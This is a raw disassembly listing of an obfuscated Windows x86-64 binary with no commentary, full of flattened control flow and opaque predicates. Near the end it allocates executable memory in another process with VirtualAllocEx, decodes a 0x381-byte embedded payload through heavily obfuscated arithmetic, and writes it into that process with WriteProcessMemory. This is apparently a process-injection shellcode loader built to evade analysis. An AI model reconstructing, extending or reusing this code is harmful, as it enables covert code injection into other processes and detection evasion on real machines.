xor r8b, al
or al, dl
mov ebx, r8d
xor bl, 1
or dl, cl
and dl, bl
mov ebx, eax
and bl, dl
mov ecx, ebx
xor cl, 1
xor dl, al
mov eax, edx
xor al, cl
not dl
or dl, cl
and dl, al
xor dl, bl
xor dl, al
test dl, 1
mov eax, 0xaf9baa98
mov ecx, 0x3f3563f7
cmovne eax, ecx
test r8b, r8b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x9c50fe66
je 0x14000eb1c
cmp eax, 0x9ca775a6
je 0x14000eb26
cmp eax, 0x9cd59bea
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc139e717
mov ecx, 0x4e7abe1a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x1b2a4ff3
je 0x14000eb30
cmp eax, 0x1b88589a
je 0x14000eb5b
cmp eax, 0x1ba186a8
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa055f818
mov ecx, 0x7e56fac2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdae0d0f3
je 0x14000eb65
cmp eax, 0xdb0fac53
je 0x14000ebbf
cmp eax, 0xdb809f40
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44fb1ad5
mov ecx, 0x994ad849
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x7a2b7bcc
je 0x14000ebc9
cmp eax, 0x7a6cc224
je 0x14000ebdb
cmp eax, 0x7b21781e
jne 0x140001070
mov eax, 0x4bcb6c55
jmp 0x140001070
cmp eax, 0xbc491cce
je 0x14000ec27
cmp eax, 0xbc75a330
je 0x14000ec84
cmp eax, 0xbcdc5223
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x468747a1
mov ecx, 0xfec1db07
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x36c3db17
je 0x14000ece5
cmp eax, 0x36f399bb
je 0x14000ecef
cmp eax, 0x37193d42
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl r9b
mov ebx, r9d
xor bl, r8b
mov eax, ebx
xor al, 1
and cl, r9b
or cl, al
xor cl, bl
and dl, r8b
mov eax, ecx
xor al, 1
and al, dl
xor dl, cl
xor dl, al
and r9b, r8b
mov eax, r9d
xor al, dl
test al, 1
mov eax, 0xdee2238c
mov ecx, 0x4825f775
cmovne eax, ecx
test dl, 1
mov ecx, 0xdee2238c
cmove eax, ecx
test r9b, r9b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xfa3ee835
je 0x14000ed1a
cmp eax, 0xfa4f203e
je 0x14000ed6f
cmp eax, 0xfa92bdd3
jne 0x140001070
mov eax, 0x1fdf753c
jmp 0x140001070
cmp eax, 0x3e02598d
je 0x14000ed79
cmp eax, 0x3e27ce3c
je 0x14000ee06
cmp eax, 0x3e3fd03a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe78b49f4
mov ecx, 0xb7e4c21f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x853e5067
je 0x14000f0ed
cmp eax, 0x863fccf2
je 0x14000f118
cmp eax, 0x864af650
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb343fa38
mov ecx, 0x26f3fd8c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x65f8fd8
je 0x14000f122
cmp eax, 0x669f13c
je 0x14000f173
cmp eax, 0x66fc00f
jne 0x140001070
mov eax, 0x9526cbec
jmp 0x140001070
cmp eax, 0xc9cb1295
je 0x14000f19e
cmp eax, 0xc9d03803
je 0x14000f1ce
cmp eax, 0xc9fe36d9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xadcb5344
mov ecx, 0xfee0354a
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x650edf55
je 0x14000f1fe
cmp eax, 0x652354f2
je 0x14000f208
cmp eax, 0x6559b9fd
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x5fe080d8
mov ecx, 0xed8d7d61
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xa7594196
je 0x14000f254
cmp eax, 0xa7cc30a9
je 0x14000f284
cmp eax, 0xa7d1921d
jne 0x140001070
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x38]
mov eax, 0xdd1e2538
jmp 0x140001070
cmp eax, 0x24c07302
je 0x14000f2af
cmp eax, 0x24c8e17b
je 0x14000f2da
cmp eax, 0x252e84ff
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xac88f452
mov ecx, 0x656542f5
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xe7d2255e
je 0x14000f322
cmp eax, 0xe7fef4a7
je 0x14000f34d
cmp eax, 0xe871a94a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf9c52a02
mov ecx, 0xd529b6ce
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x53577bbe
je 0x14000f378
cmp eax, 0x547355ea
je 0x14000f3c9
cmp eax, 0x548745b5
jne 0x140001070
mov eax, 0x3fd98060
jmp 0x140001070
cmp eax, 0x975ced45
je 0x14000f465
cmp eax, 0x97bb0f47
je 0x14000f46f
cmp eax, 0x97e2f598
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x81fbe550
mov ecx, 0xfa92bdd3
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x16615793
je 0x14000f479
cmp eax, 0x16703a3a
je 0x14000f4a4
cmp eax, 0x16aa6ca2
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
mov ecx, ebx
xor cl, al
mov edx, ecx
xor dl, 1
or al, dl
and al, bl
xor dl, al
mov edx, 0xc5620bbd
mov ebx, 0xb2f40a2c
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0xc5620bbd
cmovne eax, ebx
test cl, cl
cmove eax, edx
jmp 0x140001070
cmp eax, 0xd83b82b7
je 0x14000f4cf
cmp eax, 0xd844ac9b
je 0x14000f4d9
cmp eax, 0xd9066ff2
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl al
or cl, al
mov ebx, eax
xor bl, r8b
and bl, cl
and dl, r8b
xor dl, bl
and al, r8b
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x634306ee
mov ebx, 0x91add732
cmovne edx, ebx
test al, al
mov eax, 0x634306ee
cmove edx, eax
test cl, cl
cmovne edx, ebx
mov eax, edx
jmp 0x140001070
cmp eax, 0x760ff50b
je 0x14000f4e3
cmp eax, 0x7630ecb6
je 0x14000f536
cmp eax, 0x778ddc75
jne 0x140001070
mov eax, 0x8ea2dfa4
jmp 0x140001070
cmp eax, 0xb8d690ff
je 0x14000f561
cmp eax, 0xb90062af
je 0x14000f56b
cmp eax, 0xb91d4260
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f545f72
mov ecx, 0x5fc0474
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x334fe187
je 0x14000f5b2
cmp eax, 0x33898781
je 0x14000f630
cmp eax, 0x3403c193
jne 0x140001070
mov eax, 0x72bd4fc0
jmp 0x140001070
cmp eax, 0xf6ddbeaf
je 0x14000f66b
cmp eax, 0xf704251a
je 0x14000f728
cmp eax, 0xf72437e9
jne 0x140001070
mov eax, 0x6f8a3ba5
jmp 0x140001070
cmp eax, 0x4a5d7a79
je 0x14000f767
cmp eax, 0x4a76c11c
je 0x14000f799
cmp eax, 0x4a839673
jne 0x140001070
mov eax, 0xd5494087
jmp 0x140001070
cmp eax, 0x9042c7f0
je 0x14000f7c4
cmp eax, 0x90c2ec5b
je 0x14000f7ef
cmp eax, 0x90e8e444
jne 0x140001070
mov eax, 0xc5a7c564
jmp 0x140001070
cmp eax, 0xeb3ebce
je 0x14000f81a
cmp eax, 0xefb648e
je 0x14000f845
cmp eax, 0xf078437
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov edi, 0x6238b397
mov esi, 0x57a8a8ad
cmovne edi, esi
cmp ecx, 0xa
mov eax, edi
cmovl eax, esi
test dl, 1
cmove eax, edi
mov edx, 0x57a8a8ad
cmove edx, eax
cmp ecx, 0xa
cmovl edx, eax
test bl, bl
mov eax, 0x6238b397
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0xd0b8e0d6
je 0x14000f888
cmp eax, 0xd0c8b7a1
je 0x14000f892
cmp eax, 0xd0d1dc9b
jne 0x140001070
mov eax, 0xf0bf39ba
jmp 0x140001070
cmp eax, 0x6cad0be6
je 0x14000f89c
cmp eax, 0x6cd27772
je 0x14000f8c7
cmp eax, 0x6d1e0e9b
jne 0x140001070
mov eax, 0xb37756b5
jmp 0x140001070
cmp eax, 0xaf9baa98
je 0x14000f92a
cmp eax, 0xb0a851df
je 0x14000f98a
cmp eax, 0xb119289b
jne 0x140001070
mov eax, 0x632d8cb8
jmp 0x140001070
cmp eax, 0x2b81849f
je 0x14000f994
cmp eax, 0x2cddbefd
je 0x14000f99e
cmp eax, 0x2ce3ff84
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c5fe881
mov ecx, 0x8b1a25d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xefd1ccb4
je 0x14000f9ea
cmp eax, 0xf0079245
je 0x14000fa12
cmp eax, 0xf06c670d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe80b524
mov ecx, 0xb0c0173
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x5c091534
je 0x14000fa1c
cmp eax, 0x5c5fe881
je 0x14000fa47
cmp eax, 0x5c6e1d4b
jne 0x140001070
mov eax, 0x306b127a
jmp 0x140001070
cmp eax, 0x9f792270
je 0x14000fa51
cmp eax, 0x9f8185d9
je 0x14000fa5b
cmp eax, 0x9fd1f03a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6173e1ed
mov ecx, 0xed274789
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x1e29b9bc
je 0x14000fa86
cmp eax, 0x1e928e9b
je 0x14000fad6
cmp eax, 0x1e9d16f2
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl dl
mov ebx, edx
and bl, al
mov ecx, eax
and cl, r8b
xor dl, al
xor cl, dl
or al, r8b
and al, dl
or al, cl
xor al, bl
mov eax, 0x28f645d1
mov ecx, 0x94937199
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xdf70dbbd
je 0x14000fb45
cmp eax, 0xdfd1caff
je 0x14000fb8a
cmp eax, 0xe024d34c
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x94550302
mov ecx, 0x3d031da9
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x94550302
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x7e56fac2
je 0x14000fb94
cmp eax, 0x7e67fc62
je 0x14000fbbf
cmp eax, 0x7e84e4e0
jne 0x140001070
mov eax, 0xb8cafaa8
jmp 0x140001070
cmp eax, 0xbfd0f4c7
je 0x14000fbea
cmp eax, 0xbfef415e
je 0x14000fbf4
cmp eax, 0xc001e5f8
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa0aded88
mov ecx, 0xe87e340b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3a678d11
je 0x14000fc8e
cmp eax, 0x3ab456b9
je 0x14000fcb9
cmp eax, 0x3afed939
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
or dl, r8b
mov ebx, edx
xor bl, cl
and dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x9027a648
mov ebx, 0x8d3b0ae1
cmovne eax, ebx
test dl, dl
mov edx, 0x9027a648
cmovne eax, edx
test cl, cl
cmove eax, ebx
jmp 0x140001070
cmp eax, 0xfd501992
je 0x14000fcf4
cmp eax, 0xfd5938b6
je 0x14000fd16
cmp eax, 0xfe3dc3dc
jne 0x140001070
mov eax, 0x1ca2a82f
jmp 0x140001070
cmp eax, 0x3f49abf1
je 0x14000fd20
cmp eax, 0x3f62539a
je 0x14000fd4b
cmp eax, 0x3fd98060
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x56e63f9b
mov ecx, 0x8f49c628
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x56e63f9b
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x80a13f37
je 0x14000fd76
cmp eax, 0x80a3d343
je 0x14000fd8c
cmp eax, 0x80abbc60
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x9e95c290
mov ecx, 0x1f1bc11c
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xfaa02e
je 0x14000fdb7
cmp eax, 0x137f4d7
je 0x14000fe09
cmp eax, 0x17d7b04
jne 0x140001070
mov eax, 0x63b402e7
jmp 0x140001070
cmp eax, 0xc10aa93a
je 0x14000fe34
cmp eax, 0xc139e717
je 0x14000fe6c
cmp eax, 0xc2f21e82
jne 0x140001070
mov eax, 0x2823de95
jmp 0x140001070
cmp eax, 0x605af1c6
je 0x14000fe97
cmp eax, 0x60be4bd3
je 0x14000fec7
cmp eax, 0x60cba001
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
or al, cl
xor cl, r8b
and al, cl
and bl, r8b
xor bl, al
mov eax, 0x6a78ef0b
mov ebx, 0x14ae170d
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0xa210e38b
je 0x14000fed1
cmp eax, 0xa2532011
je 0x14000fefc
cmp eax, 0xa2688251
jne 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp edi, 0xa
setl bl
xor cl, bl
mov eax, edx
and al, bl
xor al, cl
xor al, 1
cmp edi, 0xa
movzx eax, al
movzx ecx, cl
cmovge eax, ecx
test edx, edx
cmove eax, ecx
test al, al
mov eax, 0x84eca19f
mov ebx, 0xdec77b7e
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x21636985
je 0x14000ff31
cmp eax, 0x21d0686a
je 0x14000ff61
cmp eax, 0x21f9b884
jne 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp edi, 0xa
setl bl
setge cl
and cl, al
xor al, bl
or bl, dl
and bl, al
xor bl, cl
xor al, bl
mov eax, 0xf20d9170
mov esi, 0x9d11c885
cmovne eax, esi
test bl, bl
cmovne eax, esi
test dl, 1
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0xe389ec3d
je 0x14000ff8c
cmp eax, 0xe3f1a7b4
je 0x14000ff96
cmp eax, 0xe4b67e3c
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb98598ca
mov ecx, 0x898544ed
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x4cebb181
je 0x14000ffc1
cmp eax, 0x4d0df8e6
je 0x14000ffe0
cmp eax, 0x4d61c613
jne 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb813e1fd
mov ecx, 0x36352e70
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x92be2d60
je 0x14000ffea
cmp eax, 0x935ef3b2
je 0x140010031
cmp eax, 0x935f2ca9
jne 0x140001070
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x69d8813f
mov ecx, 0xbdbbc7c1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x115011c2
je 0x140010065
cmp eax, 0x115ec8de
je 0x14001006f
cmp eax, 0x118840ba
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
not al
or al, cl
xor al, dl
test bl, bl
mov ecx, 0x34c145f8
mov edx, 0x3ffedfd0
cmovne ecx, edx
test al, 1
cmove ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0xd3553432
je 0x1400100ca
cmp eax, 0xd3f16a98
je 0x1400100d4
cmp eax, 0xd411c307
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
or al, dl
or dl, cl
and dl, al
mov eax, ebx
xor al, 1
and al, dl
xor al, bl
mov eax, 0xbfd0f4c7
mov ecx, 0x1c4150c9
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x6e87abb2
je 0x1400100de
cmp eax, 0x6f3347e6
je 0x14001010e
cmp eax, 0x6f8a3ba5
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov r8d, ebx
and r8b, cl
or dl, cl
and al, bl
xor bl, cl
xor al, bl
mov ecx, edx
or cl, al
and bl, dl
xor bl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor al, dl
xor al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, bl
xor al, cl
mov ecx, r8d
xor cl, al
test cl, 1
mov ecx, 0xac0753ee
mov edx, 0xbe42439c
cmovne ecx, edx
test al, 1
mov eax, 0xac0753ee
cmovne eax, ecx
test r8b, r8b
cmove eax, ecx
jmp 0x140001070
cmp eax, 0xb40576ad
je 0x14001018f
cmp eax, 0xb4066c9e
je 0x140010199
cmp eax, 0xb42f43eb
jne 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov ebx, dword [rbp + 0x1c]
mov r12d, ebx
mov r9d, ebx
mov r8d, ebx
mov r10d, ebx
mov eax, ebx
xor eax, 0x38
mov esi, ebx
and esi, 0x78b52125
xor esi, 0x78b52105
mov r13d, ebx
xor r13d, 0x78b5211d
and r13d, eax
or r13d, esi
mov r11d, r13d
mov r14d, ebx
xor r13d, ebx
and ebx, 0xc76b4ad8
and r12d, 0x3894b527
or r12d, 0x46230818
xor r12d, ebx
xor r12d, 0xa771a72e
or r9d, 0xe152af36
mov r15d, r9d
not r15d
or r12d, r15d
mov eax, r12d
and eax, 0x92ce2d08
or eax, 0x20104257
and r12d, 0x6d31d2f7
xor r12d, eax
and r8d, 0x88c4008
mov eax, r9d
and eax, 0x96311fe1
or eax, r8d
xor eax, 0x412adb94
and eax, r9d
or r10d, 0xffd7af7f
mov esi, r12d
and esi, 0xdf97847d
mov ebx, r12d
xor ebx, 0xff87c62a
mov ecx, r12d
or ecx, 0x20687b82
xor ecx, 0x20787bd7
or ecx, ebx
mov ebx, r10d
not ebx
and ebx, eax
xor r10d, eax
xor r10d, ebx
mov r8d, esi
mov edi, ecx
mov ebx, esi
mov eax, esi
xor eax, ecx
xor esi, 0xffefffaa
and esi, ecx
and ecx, 0x3502af61
and edi, 0xcafd509e
or edi, 0x402ac01
xor edi, ecx
mov ecx, edi
xor ecx, 0xceffd49f
xor ebx, 0xcaed50cb
and ebx, ecx
xor r8d, 0x3512af34
xor edi, 0x31000360
and edi, r8d
mov ecx, r12d
xor ecx, 0x4041
or edi, ebx
xor eax, 0xffefffaa
or esi, eax
mov eax, esi
xor eax, edi
not eax
not esi
and esi, edi
or esi, eax
xor esi, r10d
mov eax, esi
not eax
mov ebx, r12d
xor ebx, 0x20104257
and ecx, r15d
xor r12d, 0xdfefbda8
and r12d, r9d
or ecx, r12d
and r12d, ebx
and ebx, r9d
xor ecx, ebx
or r12d, ecx
mov ecx, eax
mov ebx, r12d
mov edi, r12d
not r12d
and r12d, eax
and eax, 0x300a4655
and esi, 0x82053188
add eax, esi
add eax, 0x49d00020
and ecx, 0x4df08822
and ebx, 0xb20f77dd
and edi, 0x4df08822
or edi, 0x300a118c
xor edi, ebx
xor edi, ecx
xor edi, eax
xor edi, 0x420dfdb
or r12d, edi
mov eax, r12d
and eax, 0x7ba1ea0d
or eax, 0x801615f2
and r12d, 0x845e15f2
xor r12d, eax
mov eax, r12d
and eax, 0x4ee81db1
and r12d, 0xb117e24e
or r12d, 0x4ea81c11
xor r12d, eax
mov eax, r12d
xor eax, 0x2feca6d5
mov ecx, r12d
xor ecx, 0xd013592a
or ecx, eax
mov eax, r12d
xor eax, 0x2ba7fe0b
mov ebx, ecx
and ebx, 0xfbb4a721
and ecx, 0x44b58de
or ecx, 0x29a00701
xor ecx, ebx
mov ebx, ecx
xor ebx, 0x2deb5fdf
xor r12d, 0xd45801f4
and r12d, ebx
xor ecx, 0xd214a020
and ecx, eax
or ecx, r12d
mov eax, ecx
and eax, 0xffffffc7
mov ebx, ecx
and ebx, 0xec8cea77
or ebx, 0x11310480
and ecx, 0x13731588
xor ecx, ebx
mov ebx, ecx
xor ebx, 0xeecefb47
and ebx, eax
xor ecx, eax
xor ecx, 0xeecefb47
or ecx, ebx
mov eax, ecx
and eax, 0x4cfecbaa
mov ebx, ecx
and ebx, 0xb3013455
or ebx, 0x409a8b80
xor ebx, eax
mov eax, ebx
xor eax, ecx
xor eax, 0x409a8b80
xor ebx, 0x409a8b80
and ebx, ecx
or ebx, eax
xor r11d, 0x874adeda
not r14d
and r14d, r11d
xor r13d, 0x78b52125
or r13d, r14d
mov eax, r13d
and eax, 0x3c29562c
or eax, 0xc114a111
mov edx, r13d
and edx, 0xc3d6a9d3
xor edx, eax
xor edx, ebx
mov eax, edx
xor eax, 0x3eeb5eee
xor edx, 0xc114a111
and edx, ebx
mov ecx, ebx
not ecx
and ecx, eax
or ecx, edx
and ecx, eax
mov eax, ebx
and eax, 0xf851bebc
and ebx, 0x7ae4143
or ebx, 0xa000ac14
xor ebx, eax
mov eax, ebx
xor eax, 0x1ca1d5f6
mov edx, r13d
xor edx, 0xbca179e2
xor ebx, 0xe35e2a09
and ebx, edx
xor r13d, 0x435e861d
and r13d, eax
or r13d, ebx
mov edx, r13d
mov ebx, r13d
mov eax, r13d
and r13d, ecx
xor ecx, 0x4dd3a6fe
xor edx, 0xb22c5901
xor ebx, 0x1a81c523
and ebx, edx
or eax, 0x575263dd
mov edx, ecx
and edx, 0x575263dd
or edx, 0x8258802
and ecx, 0xa8ad9c22
xor ecx, edx
mov edx, eax
and edx, 0xb138732f
xor edx, ebx
xor edx, 0x1991e72f
xor eax, 0x5fd3e7ff
and eax, ebx
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0x5f77ebdf
mov edx, r13d
and edx, 0x96184b5c
and r13d, 0x69e7b4a3
or r13d, 0x10184108
xor r13d, edx
mov edx, r13d
xor edx, 0xf7
xor r13d, 0x10184108
xor eax, 0xa0881420
and eax, r13d
and edx, ecx
or edx, eax
and eax, ecx
and ecx, r13d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, ecx
or eax, edx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setl cl
xor r8b, cl
mov ebx, ecx
or bl, dl
and bl, r8b
mov eax, r8d
xor al, 1
and cl, dl
or al, cl
mov r9d, ebx
xor r9b, al
xor al, 1
and al, bl
xor al, r9b
mov eax, 0x3e27ce3c
mov esi, 0xfc6e7253
cmovne eax, esi
test edx, edx
mov edx, 0x3e27ce3c
cmove edx, eax
cmp edi, 0xa
cmovl edx, eax
xor bl, r8b
cmovne edx, esi
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x140001070
cmp eax, 0x2ef33f36
je 0x1400101c4
cmp eax, 0x2f1bba4b
je 0x1400101ce
cmp eax, 0x2f40cb1a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc5a7c564
mov ecx, 0x90e8e444
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xc5a7c564
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf1b02df8
je 0x14001024e
cmp eax, 0xf1de0fb2
je 0x140010258
cmp eax, 0xf1fc627d
jne 0x140001070
mov eax, 0x2f7c89ae
jmp 0x140001070
cmp eax, 0x447564d0
je 0x140010296
cmp eax, 0x44fb1ad5
jne 0x140001070
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
